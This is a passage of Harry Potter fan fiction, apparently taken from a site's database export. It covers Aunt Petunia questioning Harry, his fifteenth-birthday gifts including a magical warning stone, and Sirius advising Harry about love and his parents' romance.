seemed to have suited everyone.&nbsp; Then Harry realized one night that he couldn&#8217;t stay hidden in his room that night because he needed to do his laundry.</p>\n\n<p>He took a towel and wadded his clothes up and gathered the top of the towel and dragged it downstairs to the laundry room.&nbsp; No sooner had he started the water filling in the washing machine did his Aunt Petunia show her face into the cramped room.</p>\n\n<p>&#8220;Harry,&#8221; she said shrilly.&nbsp; &#8220;I haven&#8217;t seen you in weeks.&nbsp; I have a few questions for you.&#8221;</p>\n\n<p>Harry started getting a sick feeling in the pit of his stomach.&nbsp; He knew that she wanted grist for the gossip mill.&nbsp; He actively was trying to remember everything that Professor Figg and Sirius had told them about their cover.</p>\n\n<p>&#8220;How is Mrs. Figg treating you?&#8221;</p>\n\n<p><i>Like you&#8217;d really care about how anyone was treating me,</i> Harry thought darkly.</p>\n\n<p>&#8220;Okay, I guess,&#8221; he answered.</p>\n\n<p>&#8220;What is she having you do &#8211; all day, every day?&#8221;</p>\n\n<p>&#8220;Different stuff around the house,&#8221; he shrugged.&nbsp; &#8220;I helped her put new wallpaper up.&#8221;</p>\n\n<p>&#8220;Wallpaper?&nbsp; Hmmm. How is she doing?&nbsp; No one&#8217;s seen her outside taking her walks in a long time.&#8221;</p>\n\n<p>Harry knew that was because Professor Figg hadn&#8217;t been taking her aging potion and instead was staying safely inside since Sirius could do the outside surveillance for her.</p>\n\n<p>&#8220;Er, she twisted her knee pretty badly, so she&#8217;s trying to stay off it for awhile.&#8221;</p>\n\n<p>&#8220;What&#8217;s she like?&#8221; </p>\n\n<p>&#8220;She&#8217;s just a lonely old lady, I guess,&#8221; Harry sighed.&nbsp; &#8220;She doesn&#8217;t have many people to talk to &#8211; that&#8217;s why she has so many cats.&nbsp; They keep her company.&#8221;</p>\n\n<p>&#8220;What about her nephew?&nbsp; What do you think of him?&#8221;</p>\n\n<p>&#8220;He&#8217;s okay.&nbsp; He keeps to himself mostly.&nbsp; He&#8217;s busy writing, so I don&#8217;t get a chance to talk with him much.&#8221;</p>\n\n<p>&#8220;I heard he&#8217;s some academic sort,&#8221; she said with an accusation in her voice.</p>\n\n<p>&#8220;Yeah, I guess.&nbsp; He&#8217;s said a few things about the Enlightenment and I don&#8217;t understand what he&#8217;s talking about so I just nod my head every once and awhile.&#8221;</p>\n\n<p>That seemed to satisfy his aunt.&nbsp; She started to leave the doorway when she turned around with a new question.</p>\n\n<p>&#8220;She lives in a small house.&nbsp; Where&#8217;s he sleeping?&#8221;</p>\n\n<p>&#8220;I don&#8217;t know. There&#8217;s an upstairs bedroom &#8211; I assume that&#8217;s where he&#8217;s sleeping,&#8221; Harry answered.&nbsp; </p>\n\n<p>Then he thought about that bedroom being full of surveillance equipment.&nbsp; Just where <i>is</i> he sleeping, he wondered.&nbsp; Then he thought of Professor Figg&#8217;s double bed and started blushing that he hadn&#8217;t considered the obvious before.&nbsp; He immediately began concentrating on loading his clothes into the washer so that his aunt wouldn&#8217;t see his red face.</p>\n\n<p>&#8220;Is she still planning on leaving to see her sister?&#8221;</p>\n\n<p>&#8220;Yeah, she&#8217;s been on the phone a lot talking with people &#8211; her sister, doctors and others.&nbsp; I think she&#8217;s now planning on leaving in late August or early September.&#8221;&nbsp;<i>Yeah, on the Hogwarts Express,</i>Harry thought.</p>\n\n<p>&#8220;Well, I&#8217;ve got homework I have to work on &#8211; so if you don&#8217;t mind,&#8221; Harry said as he tried to squeeze past his aunt.</p>\n\n<p>&#8220;Very well, you may go.&nbsp; And I don&#8217;t want you doing laundry all night long.&nbsp; I&#8217;d rather not hear the dryer going while I&#8217;m trying to fall asleep.&#8221;</p>\n\n<p>&#8220;Yes, Aunt Petunia,&#8221; Harry nodded and quickly bounded up the stairs three at a time.&nbsp; </p>\n\n<p>He wanted to put as much distance as he could between himself and his aunt.&nbsp; She made him very nervous and he hoped that he had been believable in his answers.&nbsp; He spent the rest of the night listening carefully from his bedroom to every sound of the washer and dryer.&nbsp; When he went downstairs later he saw his Aunt Petunia examining a pair of his underwear.&nbsp; He immediately felt the blood rushing to his cheeks.</p>\n\n<p>&#8220;It looks like the elastic is going on these.&nbsp; You should get some new ones before you go back in September,&#8221; she said looking at them with disgust.</p>\n\n<p><i>She can&#8217;t even force herself to say the words, &#8220;go back to school&#8221;</i> Harry thought.&nbsp; He didn&#8217;t want any more of Dudley&#8217;s hand-me-downs, especially his underwear.&nbsp; Talk about worn elastic.&nbsp; Harry would need to tie ropes around his waist to wear those.</p>\n\n<p>&#8220;Is Mrs. Figg paying you for all that work you&#8217;re doing?&#8221; she asked.</p>\n\n<p>So that&#8217;s why she wanted to talk with me.</p>\n\n<p>&#8220;Yeah, five pounds a week.&nbsp; I know it&#8217;s not much, but she&#8217;s on a fixed income and I&#8217;m not all that handy so&#8230;&#8221; he trailed off.</p>\n\n<p>&#8220;Well, by the end of the summer you should have earned forty pounds.&nbsp; You ought to be able to buy your own clothes.&nbsp; Maybe that nephew of hers &#8211; what&#8217;s his name, again?&#8221;&nbsp; she asked with her eyes narrowing.</p>\n\n<p>&#8220;Umm, Joseph.&#8221;</p>\n\n<p>&#8220;Joseph, what?&#8221;</p>\n\n<p>&#8220;Joseph O&#8217;Brien, I think,&#8221; he replied.</p>\n\n<p>&#8220;Well, maybe Joseph O&#8217;Brien could go with you clothes shopping as I don&#8217;t know that I&#8217;ll have any time for that,&#8221; she snapped and then turned on her heel and left.&nbsp; Harry watched her leave with his mouth wide open.&nbsp; <i>Well, yeah I&#8217;d much rather go shopping with Sirius than you Any Day.</i></p>\n\n<p>End notes:&nbsp; Both my beta readers were a little creeped out that I had Harry becoming a snake Animagus, so I&#8217;ll explain why I chose it.&nbsp; I believe that according to canon, if Harry does become an Animagus that he would be a snake.&nbsp; Similar to the wand choosing the wizard, I believe that you cannot choose your animal spirit.&nbsp; JK Rowling was asked in a Scholastic chat session:&nbsp; &#8220;If you were Animagus, what kind of animal would you be?&#8221;&nbsp; Answer:&nbsp; &#8220;I&#8217;d like to be an otter &#8211; that&#8217;s my favourite animal.&nbsp; It would be depressing if I turned out to be a slug or something.&#8221;&nbsp; -&nbsp; So, given that as an answer and given that Harry is a Parselmouth, I interpret that to mean that he has the spirit of a serpent inside.&nbsp; I hope that settles anyone&#8217;s unsettled nerves about that choice.</p>\n\n<p>I&#8217;d like to thank Alez Burow, Arron!, Ashley, E.C.R. Potter, Lady Granger for their kind reviews. I&#8217;d like to also give thanks to Silverleaf for giving me a detailed review by private email.&nbsp; I do have something to tell Alez who was chanting H/Hr to trust me on this part.&nbsp; My story wouldn&#8217;t have been accepted here unless there was a H/Hr relationship.&nbsp; However, this one will take much longer to play out than the Sirius/Arabella chapter.&nbsp; (Even though if you think about it, their relationship had its foundations put down many years ago, so although it might appear that they suddenly got together &#8211; it really wasn&#8217;t.&nbsp; Sort of like an &#8220;overnight success&#8221; that took ten years in the making.)&nbsp; Anyway, there are a few obstacles to overcome before Harry and Hermione&nbsp; can get together.&nbsp; You know, things like Harry&#8217;s crush on Cho and that small little picky detail of Hermione dating Viktor Krum.&nbsp; I want to allow the drama on those fronts to play themselves out and not be rushed.&nbsp; </p>\n\n<p>Stay tuned.&nbsp; In Chapter Four, Harry speaks with Sirius about &#8220;Matters of the Heart.&#8221;</p>\n\n<table border="0" cellspacing="1" cellpadding="0" width="474">\n\n<tbody><tr>\n\n<td>\n\n</td>\n\n</tr>\n\n<tr>\n\n<td valign="top">\n\n</td>\n\n<td>\n\n</td>\n\n</tr>\n\n</tbody></table> '),
	(260, 4, ' <p>Disclaimer:&nbsp; This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc.&nbsp; No money is being made and no copyright or trademark infringement is intended.</p>\n\n<p>Author&#8217;s Note:&nbsp; I want to thank Cara Hicks and Ama for their beta reading on this chapter.&nbsp; I&#8217;d also like to mention that due to Ama&#8217;s love for Nadine, I found myself writing more scenes with her.&nbsp; Enjoy!</p>\n\n<p>Rating:&nbsp; R &#8211; For adult themes and sexual intimacy.</p>\n\n<p>Chapter Four &#8211; Matters of the Heart</p>\n\n<p>That night Harry stood in his bedroom gazing out the window at the night sky he saw two owls carrying parcels swooping down to meet him.&nbsp; Harry looked at the clock and saw that it was now officially his fifteenth birthday.&nbsp; Hedwig and Athena had returned.</p>\n\n<p>&#8220;Hey, Hedwig,&#8221; Harry said as he stroked her head.&nbsp; &#8220;Glad to see you again.&#8221;&nbsp; He handed her an owl treat and she hooted appreciatively to him.&nbsp; He untied a letter and package from Ron.</p>\n\n<p><i>Happy Birthday Harry,</i></p>\n\n<p><i>Thanks for sending Hedwig to me.&nbsp; If Pig had brought back any letters, I would planned to break you out of the Dursley household again.</i></p>\n\n<p><i>Things are strange here this summer.&nbsp; It&#8217;s a daily row between my folks and Percy.&nbsp; The investigation at the Ministry cleared him of any wrongdoing.&nbsp; Fudge was so impressed that Percy was able to manage a department with little direction that he decided to make Percy his personal assistant.&nbsp; That&#8217;s what&#8217;s causing the problems at home.&nbsp; If you thought he went on a lot about Crouch last year &#8211; you should hear him prattle on and on about Fudge!&nbsp;&nbsp; I never saw Mum yell at him before this summer.&nbsp; I thought he could do no wrong in her eyes.&nbsp; Now I wish Percy would just find his own place to live so I wouldn&#8217;t have to hear them fight all the time.</i></p>\n\n<p>Remember Winky?&nbsp; Well, after the third task, she totally lost it and cried all the time.&nbsp; This bothered the other house-elves at Hogwarts.&nbsp; They started complaining to Dumbledore and said they couldn&#8217;t work with her anymore.&nbsp; So he decided that she needed to look after a family again and asked my mum if she&#8217;d take Winky in.&nbsp; Percy objected about having the house-elf that his beloved Mr. Crouch sacked.&nbsp; He soon changed his tune after Winky went on and on about how Mr. Crouch spoke highly of him and had depended on him.&nbsp; I&#8217;ll have to remember that Percy falls for flattery every time.</p>\n\n<p>Winky loves doing Ginny&#8217;s hair.&nbsp; She spends hours braiding and fussing with it.&nbsp; Mum couldn&#8217;t be happier with the help and the companionship in the kitchen.</p>\n\n<p>I haven&#8217;t told Hermione about Winky yet, so please don&#8217;t tell her.&nbsp; I&#8217;m sure she&#8217;ll be upset, especially after all that SPEW stuff last year, but we are treating Winky very well.&nbsp; She&#8217;s still wearing clothes, but my mum makes sure they&#8217;re washed and ironed along with ours.&nbsp; We&#8217;re not paying her, but she refuses that anyway.&nbsp; So I don&#8217;t know what else Hermione would expect, but I don&#8217;t feel like getting any Howlers right now.</p>\n\n<p>Fred and George are talking seriously about starting a joke shop after they finish school this year.&nbsp; For a change Mum isn&#8217;t giving them grief about it.&nbsp; Maybe we needed Winky all along.</p>\n\n<p><i>My folks won&#8217;t tell me anything about what&#8217;s going on.&nbsp; They say I should leave it to them and Dumbledore to worry about.&nbsp; And now Mum says that she doesn&#8217;t think you can come and stay with us at all this summer.&nbsp; I&#8217;ll keep working on this because I know how you hate it with your relatives.&nbsp; Especially that stupid git of a cousin. </i></p>\n\n<p><i>Ron</i></p>\n\n<p><i></i></p>\n\n<p>Harry opened the package from Ron and it was a book about last summer&#8217;s Quidditch World Cup with glorious moving pictures of all the players and the incredible moves.&nbsp; Harry watched Viktor Krum do his famous <i>Wronski</i><i> Feint</i> over and over again while Lynch slammed into the ground.&nbsp; It was like watching a continuous loop of instant replay on the television.&nbsp; Harry smiled as he turned the pages and thought that maybe Ron had gotten over some of the hard feelings he seemed to have about Viktor Krum.</p>\n\n<p>Then Harry remembered that Athena was waiting patiently carrying a letter and package from Hermione.</p>\n\n<p><i>Harry,</i></p>\n\n<p><i>I wanted to let you know that I&#8217;ve been chosen to be a prefect as has Seamus Finnigan.&nbsp; I will still try to ride at least partway on the Hogwarts Express with you and Ron, except that we&#8217;ll be having a prefects meeting in one of the front cars for a portion of the ride.&nbsp; I had hoped that either you or Ron would have been a prefect with me, but you don&#8217;t get everything you wish for.</i></p>\n\n<p><i>I&#8217;m leaving tomorrow for a two-week holiday with my parents.&nbsp; We&#8217;ve got Eurail passes and will travel around </i><st1:place><i>Eastern Europe</i></st1:place><i>.&nbsp; I haven&#8217;t told Ron about my travel plans, because I think he&#8217;d get mad at me again.&nbsp; So let&#8217;s just keep this between us for a while.</i></p>\n\n<p><i>I bought this gift for you because I knew you needed one after the Second Task.&nbsp; Hopefully it&#8217;ll stand up to any challenges that this coming year will have in store for you.</i></p>\n\n<p><i>Remember not to let things worry you when they are outside of your control.&nbsp; Here&#8217;s hoping you have a nice birthday and rest of your summer.&nbsp; I&#8217;m looking forward to seeing you on September 1<sup>st</sup>.</i></p>\n\n<p><i>Happy Birthday,</i></p>\n\n<p><i>With love,</i></p>\n\n<p><i>Hermione</i></p>\n\n<p>Harry opened her package and found a waterproof and shock resistant watch.&nbsp; He smiled and slipped it on his bare wrist.&nbsp; He then thought about Hermione visiting <st1:place>Eastern Europe</st1:place>, he knew that meant she was going to <st1:country-region><st1:place>Bulgaria</st1:place></st1:country-region> to visit Viktor Krum.&nbsp; And she thought that news might make Ron upset.&nbsp; This is wonderful, Harry thought.&nbsp; Now I&#8217;m keeping secrets from my two closest friends from each other.&nbsp; He shook his head and then thought about Hermione being made a prefect.&nbsp; He would have expected nothing less, but he felt disappointed that he hadn&#8217;t been made one, too.&nbsp; He had secretly hoped that he would follow in his parents&#8217; footsteps and possibly become Head Boy some day.&nbsp; He then thought about the hexing incident with Malfoy and his goons.&nbsp; He supposed that Professor McGonagall would have a hard time overlooking that, especially if the Malfoys were lodging formal complaints.</p>\n\n<p>Harry then thought about Hagrid.&nbsp; He had expected to get a birthday present from that gentle half-giant, but figured that he was probably on the mission for Dumbledore and might not have had time to go shopping or find a post owl.&nbsp; He paused and said a silent prayer to hope that Hagrid was safe on that mission as he turned out his light and went to sleep.</p>\n\n<p>Harry woke up the next morning and followed his regular routine.&nbsp; He knew better than to expect any acknowledgement of his birthday from the Dursleys.&nbsp; He was looking forward instead on spending the day with his godfather and Professor Figg.&nbsp;&nbsp; After lunch she brought out a cake with fifteen candles on it.&nbsp; She waved her wand, <i>&#8220;Incendium!&#8221;</i> and all the candles were instantly lit.</p>\n\n<p>&#8220;Happy Birthday, Harry.&#8221;</p>\n\n<p>He blew out the candles. </p>\n\n<p>Sirius handed Harry a box.&nbsp; &#8220;This is from me.&#8221;</p>\n\n<p>As he opened the box he saw a beautiful cloisonn&#233; pin of a Gryffindor coat of arms.&nbsp; Harry beamed with happiness.</p>\n\n<p>&#8220;It&#8217;s a robe clasp.&nbsp; I thought you might like it.&#8221;</p>\n\n<p>&#8220;Thank you, Sirius.&nbsp; I love it.&#8221;</p>\n\n<p>Harry stood up and gave his godfather a hug.&nbsp; Harry noticed when he hugged him that Sirius had seemed to have gained some healthy weight in the last month.&nbsp; Harry could no longer feel the bones on Sirius&#8217;s back.&nbsp; He knew that it was due to Professor Figg&#8217;s hospitality.</p>\n\n<p>Then, Professor Figg placed a small wrapped box in front of Harry.</p>\n\n<p>&#8220;This is for you Harry.&nbsp; It used to belong to your mother.&#8221;</p>\n\n<p>Harry felt an enormous knot in his throat.&nbsp; Something from his <i>mother</i>.&nbsp; All he had was an album of photographs of his parents that Hagrid had collected and his father&#8217;s Invisibility Cloak.&nbsp; Now he was going to have something that had belonged to his mother.&nbsp; His fingers nervously worked to unwrap the black box and gently he opened it.&nbsp; Inside he saw a blood red stone on a long golden chain.&nbsp; Harry lifted it carefully out of the box and held it gingerly while he examined it.&nbsp;&nbsp; Harry knew instinctively that it wasn&#8217;t any ordinary necklace.&nbsp; It had to be magical.&nbsp; He looked up at Professor Figg.</p>\n\n<p>&#8220;Does it have any powers?&#8221;</p>\n\n<p>She nodded slowly.</p>\n\n<p>&#8220;Yes, Harry.&nbsp; It is not a normal stone and this is something that you must keep as a secret.&nbsp; Wear it always and let no one see it or know about it, not even Ron and Hermione.&nbsp; This stone was created by Albus Dumbledore and his late partner Nicholas Flamel.&#8221;</p>\n\n<p>&#8220;Is it a philosopher&#8217;s stone?&#8221; Harry asked worriedly.</p>\n\n<p>&#8220;No.&nbsp; Mr. Flamel was interested in more than just alchemy.&nbsp; This stone is connected in spirit to only a few others and serves as a warning when one member is in mortal peril.&nbsp; Should you find yourself in a situation similar to the one a month ago, you should hold the stone in your hand and say or think the words, &#8216;Fawkes, help me.&#8217;&nbsp; That will make the other stones warm up and they will respond to you.&#8221;</p>\n\n<p>&#8220;You said only a few others had these stones.&nbsp; Can you tell me who?&#8221;</p>\n\n<p>She and Sirius exchanged glances and then turned to Harry.</p>\n\n<p>&#8220;Yes, there are seven stones.&nbsp; The other six are worn by myself, Sirius, Professor Dumbledore, Professor Snape, Remus Lupin and Mundungus Fletcher.&#8221;</p>\n\n<p>&#8220;Who is Mundungus Fletcher?&nbsp; I&#8217;ve heard his name before, but I know nothing about him.&#8221;</p>\n\n<p>Sirius answered, &#8220;He&#8217;s an old ally of Dumbledore&#8217;s.&nbsp; Fletcher helped him in the defeat of the dark wizard Grindlewald.&nbsp; He may be very cranky, but Dumbledore knows and trusts him.&#8221;</p>\n\n<p>Harry knew better than to bring up any questions regarding Snape being trusted with one of the necklaces.&nbsp; Sirius and Snape loathed each other and if Harry brought up any doubts, it would only darken Sirius&#8217;s spirits.&nbsp; Harry wanted to enjoy his birthday and not cause his godfather any pain. </p>\n\n<p>Professor Figg cut the cake and set a piece in front of Harry.&nbsp; He took a tentative taste and was pleasantly surprised to find that it was delicious.&nbsp; The last time he had cake in her house it was dry and tasted like it was several years old.&nbsp; This time it was moist and flavorful.</p>\n\n<p>&#8220;Professor Figg?&nbsp; The last time I had some cake from you, back when I was ten years old.&nbsp; It tasted really funny.&nbsp; How come?&#8221; he asked.</p>\n\n<p>&#8220;Well,&#8221; she said giving a small smile, &#8220;I actually was trying to give you some help pre-Hogwarts and used a little potion in the mix.&nbsp; Just something to boost your confidence a little since the Dursleys had done everything in their power to beat you into submission for years.&nbsp; However, that was the first time I tried putting a potion into food.&nbsp; I must admit that it didn&#8217;t turn out as well as I hoped.&nbsp; It was a failed experiment.&#8221;</p>\n\n<p>Harry then thought of something else that had been nagging him.&nbsp; &#8220;When you broke your leg, how come you didn&#8217;t get it fixed with magic?&#8221;</p>\n\n<p>Professor Figg gave a small laugh, &#8220;Well, Harry, the problem was that I broke my leg in front of a couple of my Muggle neighbours.&nbsp; Someone had distracted me and I tripped over one of my sentries who had come to give me a report.&nbsp; Being an elderly widow that lives alone, I couldn&#8217;t very well turn down the offers from my neighbours to take me to the nearest hospital.&nbsp; I couldn&#8217;t use the Floo Network and fly through that tumbling system with a newly broken leg.&nbsp; I also couldn&#8217;t walk the several blocks away to Disapparate, so Madam Pomfrey made a rare house call.&nbsp; She mended my leg so I didn&#8217;t have to wait for it to heal in the normal fashion.&nbsp; The problem was that I had to hobble around in public with a cast on my leg for weeks just so the neighbours didn&#8217;t get suspicious.&nbsp; The day I was supposed to look after you happened to be the day Madam Pomfrey came to call.&#8221;</p>\n\n<p>*</p>\n\n<p>A few days later Sirius and Harry were in the Professor Figg&#8217;s front yard harvesting lavender.&nbsp; They had large buckets that they placed the fragrant stems in after cutting them with gardening sheers.&nbsp; Sirius had taken the CD player outside and was blasting Steve Winwood&#8217;s &#8220;Higher Love.&#8221;&nbsp; He carefully used his wand over some of the lawn ornaments in front of the house.&nbsp; </p>\n\n<p>&#8220;Harry, I just put a charm on the lawn gnomes so our voices will not be heard past them.&nbsp; All the neighbours will hear is this music.&nbsp; That way we can talk without worry, so it&#8217;s okay to speak freely.&nbsp; You can ask me anything.&#8221;</p>\n\n<p>&#8220;Okay, thanks.&#8221;</p>\n\n<p>&#8220;So Harry, tell me about the girl you&#8217;re interested in,&#8221; Sirius asked in a casual tone.</p>\n\n<p>Harry swallowed hard, he&#8217;d never talked to anyone about his feelings for Cho.&nbsp; Not even Ron.&nbsp; &#8220;Umm, she&#8217;s a year older than I am.&nbsp; She&#8217;s in Ravenclaw and &#8211; er &#8211; she&#8217;s also a Seeker.&#8221;</p>\n\n<p>&#8220;What&#8217;s her name?&#8221;</p>\n\n<p>&#8220;Cho.&nbsp; Cho Chang,&#8221; Harry replied.</p>\n\n<p>&#8220;So, what do you know about Cho?&#8221;</p>\n\n<p>Harry shook his head, &#8220;Umm, not much.&nbsp; She&#8217;s really cute, but she&#8217;s always surrounded by other girls.&nbsp; She seems nice though.&#8221;</p>\n\n<p>&#8220;Have you tried to ask her out?&#8221; Sirius asked kindly.</p>\n\n<p>&#8220;Yeah,&#8221; Harry said glumly.&nbsp; &#8220;I asked her to the Yule Ball, but she was already going with Cedric.&#8221;</p>\n\n<p>&#8220;Cedric Diggory?&#8221;</p>\n\n<p>Harry nodded.</p>\n\n<p>&#8220;That&#8217;s rough,&#8221; Sirius sighed.&nbsp; &#8220;And now he&#8217;s dead and you probably feel guilty.&#8221;</p>\n\n<p>&#8220;Yeah, I mean I know I didn&#8217;t kill him and all, but&#8230;I still feel responsible in a way.&#8221;</p>\n\n<p>&#8220;I know.&nbsp; That&#8217;s because you&#8217;re a decent human being.&nbsp; Harry, have you ever really talked with Cho?&#8221;</p>\n\n<p>&#8220;Umm, not really.&nbsp; Just a few times in passing.&#8221;</p>\n\n<p>&#8220;Harry, I&#8217;ve got to let you know that when it comes to women, I made many mistakes in my youth.&nbsp; I&#8217;d like to help you to avoid some of them.&nbsp; First of all, you should know that being attracted to someone is important, but it is only one part.&nbsp; You need to like them for who they are and not just like how they look on the outside.&#8221;</p>\n\n<p>Harry started thinking of Fleur and how beautiful but haughty she was.&nbsp; He definitely didn&#8217;t like who she was on the inside even though he barely knew her.</p>\n\n<p>&#8220;You want to be with someone who likes you for who you are and not who they <i>think</i> you are,&#8221; Sirius continued.&nbsp; &#8220;You&#8217;ll have that problem more than most guys given your fame.&nbsp; I&#8217;m sure that many girls are interested in you just because of that and don&#8217;t even know how kind and decent you really are.&#8221;</p>\n\n<p>Harry thought about the Yule Ball and how many girls had fallen over themselves to ask him out.&nbsp; Girls he had never even noticed before.</p>\n\n<p>&#8220;Harry, I was afraid of falling in love,&#8221; Sirius continued.&nbsp; &#8220;I just didn&#8217;t want to take the risk of letting someone get close to me and then reject me.&nbsp; I dated a lot of women.&nbsp; A lot of women.&nbsp; When I think back, I was a total jerk to them.&nbsp; At least I used protection and didn&#8217;t get anyone pregnant or spread any diseases, but I was a real jerk.&nbsp; I regret that part of my youth and I don&#8217;t want to see you treat women that way.&nbsp; You&#8217;d be much better off trying to follow in your father&#8217;s footsteps.&#8221;</p>\n\n<p>&#8220;What was he like?&nbsp; When did he meet my mum?&#8221; Harry asked anxiously.</p>\n\n<p>&#8220;James was smooth,&#8221; Sirius smiled as he was remembering.&nbsp; &#8220;He saw your mother and instinctively knew that she was the one for him.&nbsp; He liked red heads and saw her standing at King&#8217;s Cross Station with her trunk and cat.&nbsp; He figured she was a Hogwarts student, but she looked a little lost and didn&#8217;t know how to cross the barrier.&#8221;</p>\n\n<p>Harry remembered the panic he had felt that first day and how relieved he was when Mrs. Weasley helped him out. </p>\n\n<p>&#8220;Your mother was a year younger than us at school and James used that to his advantage.&nbsp; He went up to her and said something like, &#8216;Hey Red, you look a little lost.&nbsp; Are you by any chance looking for Platform 9 &#190;?&#8217; &nbsp;She was so relieved that someone had come to help her.&nbsp; James then took it upon himself to try and single-handedly introduce her to the Wizarding World.&nbsp; He knew that she came from a Muggle family and if anything it made her more appealing because she wouldn&#8217;t know the first thing about Hogwarts.&nbsp; He spent the whole train ride introducing her to people and telling her all about what to expect.&#8221;</p>\n\n<p>Harry nodded as he thought about how grateful he was to have befriended Ron on his first train ride and have the &#8220;heads-up&#8221; about things before getting to Hogwarts.</p>\n\n<p>&#8220;Well, by the time we arrived at school, she was eager to tell the Sorting Hat that whatever house James Potter was in was the house for her.&nbsp; James was so confident that she would become a Gryffindor that he sat at the very end of our year and saved a seat for her.&nbsp; That really hacked off Bartholomew Bell when he was the first sorted and tried to sit down next to James.</p>\n\n<p>&#8220;Later that night when we got back to our dorm room, Remus and I were ready to just totally rag on James.&nbsp; But James turned to us and said in a deadly serious voice that Lily was &#8216;The One&#8217; for him and whatever we were thinking of saying that we should keep it in mind that he considered her to be his future wife.&nbsp; I was so tempted to just hound him, but the look in his eye and the tone of his voice&#8230;I couldn&#8217;t believe this was the same guy that just two months earlier wasn&#8217;t interested in girls at all.&nbsp; Now, he was smitten.&nbsp; I mean <i>we</i> couldn&#8217;t see it, because all we saw was a skinny little flat-chested girl with big red hair.&nbsp; James knew though.&nbsp; Your mother grew into a beautiful woman.&nbsp; She was smart, funny and kind.&nbsp; Everything you should look for in a woman and James honed in on that from the moment he met her.&#8221;</p>\n\n<p>&#8220;So it was Love At First Sight?&#8221; Harry asked.</p>\n\n<p>&#8220;Well, he was attracted to her beauty, but if Lily had been vain, petty and cruel &#8211; he wouldn&#8217;t have spent any time on getting to know her.&nbsp; No, by the time she had grown into a beauty that turned all the guys&#8217; heads, James had been her best friend for at least four or five years.&nbsp; No other guy ever stood a chance in winning her heart.&nbsp; And believe me, there were a lot of guys that would have gone after her if your father hadn&#8217;t stood in their way.&#8221;</p>\n\n<p>&#8220;Did you ever try to&#8230;?&#8221; Harry began.</p>\n\n<p>&#8220;Are you kidding?&#8221; Sirius replied.&nbsp; &#8220;James would have taken my head off if I had ever said anything off-colour about Lily.&nbsp; He made that clear the first day he met her.&nbsp; If I had made any moves towards her, our friendship would have been over.&nbsp; You don&#8217;t mess around with even thinking about betraying your best friend.&nbsp; No, I did become protective of her though.&nbsp; Several guys in other houses tried to get your father in trouble.&nbsp; They thought she might break up with him then.&#8221;</p>\n\n<p>&#8220;Is that what Snape did?&#8221; </p>\n\n<p>&#8220;Yeah,&#8221; Sirius said darkly.&nbsp; &#8220;He and James never got along, but Snape and I &#8211; we hated each other.&nbsp; Your mother was far nicer than I ever was.&nbsp; She stood up for Snape when I played some harmless jokes on him.&nbsp; Not many girls paid any attention to him &#8211; not even in his own house.&nbsp; So when Lily openly criticized me for my treatment of him &#8211; well I think he fell in love with her.&nbsp; The only thing was, he couldn&#8217;t get near her with James around.&nbsp; So Snape started trying to get James expelled.&nbsp; After awhile, I just had it with him and that&#8217;s what led me to risk his life.&nbsp; It was stupid and reckless and&#8230;&#8221;</p>\n\n<p>&#8220;My dad saved him?&#8221;</p>\n\n<p>&#8220;Yeah, I was almost expelled over it, too.&nbsp; Thankfully, Dumbledore gave me a second chance.&nbsp; That infuriated Snape to no end though.&nbsp; I think that may be why he became a Death Eater.&nbsp; He got hacked off at Dumbledore, so he joined with his friends.&nbsp; It wouldn&#8217;t have been a big journey for him though.&nbsp; He was always into the Dark Arts.&#8221;</p>\n\n<p>&#8220;Sirius,&#8221; Harry said softly.&nbsp; &#8220;Are you and Professor Figg in love?&#8221;</p>\n\n<p>Sirius avoided Harry&#8217;s eyes and continued cutting lavender.</p>\n\n<p>&#8220;We&#8217;re old friends who have been through a lot together.&#8221;</p>\n\n<p>&#8220;Oh sure, Harry go ahead, feel free to ask me anything,&#8221; Harry said bitterly.&nbsp; &#8220;But I won&#8217;t answer you unless it&#8217;s a question I want to answer.&#8221;</p>\n\n<p>Sirius turned to him and gave him a low smile.</p>\n\n<p>&#8220;You&#8217;re right.&nbsp; I don&#8217;t know why we even thought we could keep it from you.&nbsp; Yes, we are in love.&nbsp; It&#8217;s the first time in my life that I&#8217;ve ever felt this way.&#8221;</p>\n\n<p>&#8220;When did you know that you were in love?&#8221; asked Harry.</p>\n\n<p>&#8220;It&#8217;s kind of hard to explain, but you&#8217;ll know when the time comes.&nbsp; Your father just <i>knew</i> &#8211; I still don&#8217;t quite know how he did, but he knew.&nbsp; For me, I started falling in love when I helped a good friend through a very rough time.&nbsp; Arabella was very vulnerable and very open with her emotions.&nbsp; I had never known any woman in that way.&nbsp; It was a very humbling experience and she was depending on my strength.&nbsp; I saw her as a full person who was incredibly strong and vulnerable at the same time.&nbsp; I had always admired and respected her, but now it was so much more.&#8221;</p>\n\n<p>&#8220;How did you tell her that you loved her?&#8221;</p>\n\n<p>&#8220;Oh I didn&#8217;t just then,&#8221; Sirius said shaking his head.&nbsp; &#8220;She wouldn&#8217;t have been able to handle it at that time.&nbsp; She needed a <i>friend</i>, so that&#8217;s what I was for her even though my feelings for her were growing much deeper.&nbsp; Sometimes you need to recognize timing when it comes to affairs of the heart.&nbsp; We grew very close at that time and she was devastated when she heard about my arrest.&nbsp; She couldn&#8217;t believe it because of how close we had grown.&nbsp; Now, our love for each other is based on that friendship, respect and trust.&nbsp; Harry, there is no magic stronger than the power of love.&nbsp; I&#8217;ve never felt so happy or complete than being in love and having someone love me in return.&#8221;</p>\n\n<p>The sound of a small child running and screaming broke through the sound of the music blaring.&nbsp; Nadine was slowly walking behind her daughter who had run past.&nbsp; The buxom woman smiled and waved at Sirius.&nbsp; He shook his head and muttered under his breath as he returned his focus on cutting more lavender.</p>\n\n<p>&#8220;That, Harry, is something you&#8217;ll have to watch out for,&#8221; he said quietly.&nbsp; &#8220;There are many women out there that will want to offer themselves to you.&nbsp; Some are like her and will wear a neon sign announcing that they&#8217;re available.&nbsp; But you need to be very careful.&nbsp; Because when you get close to someone physically, your own security could be at risk.&#8221;</p>\n\n<p>Harry nodded grimly.&nbsp; Again with the worries about death threats.&nbsp; It&#8217;s not like I&#8217;ve even kissed any girls yet and now Sirius is talking about women wanting to get me into bed so they can kill me, he thought glumly.</p>\n\n<p>Professor Figg walked out with some glasses of lemonade for them.&nbsp; As she handed one to Harry he looked up in surprise to see her looking like an old lady again.&nbsp; </p>\n\n<p>&#8220;How come you came outside?&#8221; he asked.</p>\n\n<p>&#8220;Well, I need to make an appearance outside once and awhile.&nbsp; Your aunt&#8217;s question about not having seen me made me worry a little.&nbsp; I don&#8217;t want anyone thinking that my nephew bumped me off.&nbsp; I do have to get back inside though, this is only a little disillusionment charm and the more you have to alter &#8211; the harder it is to keep for any 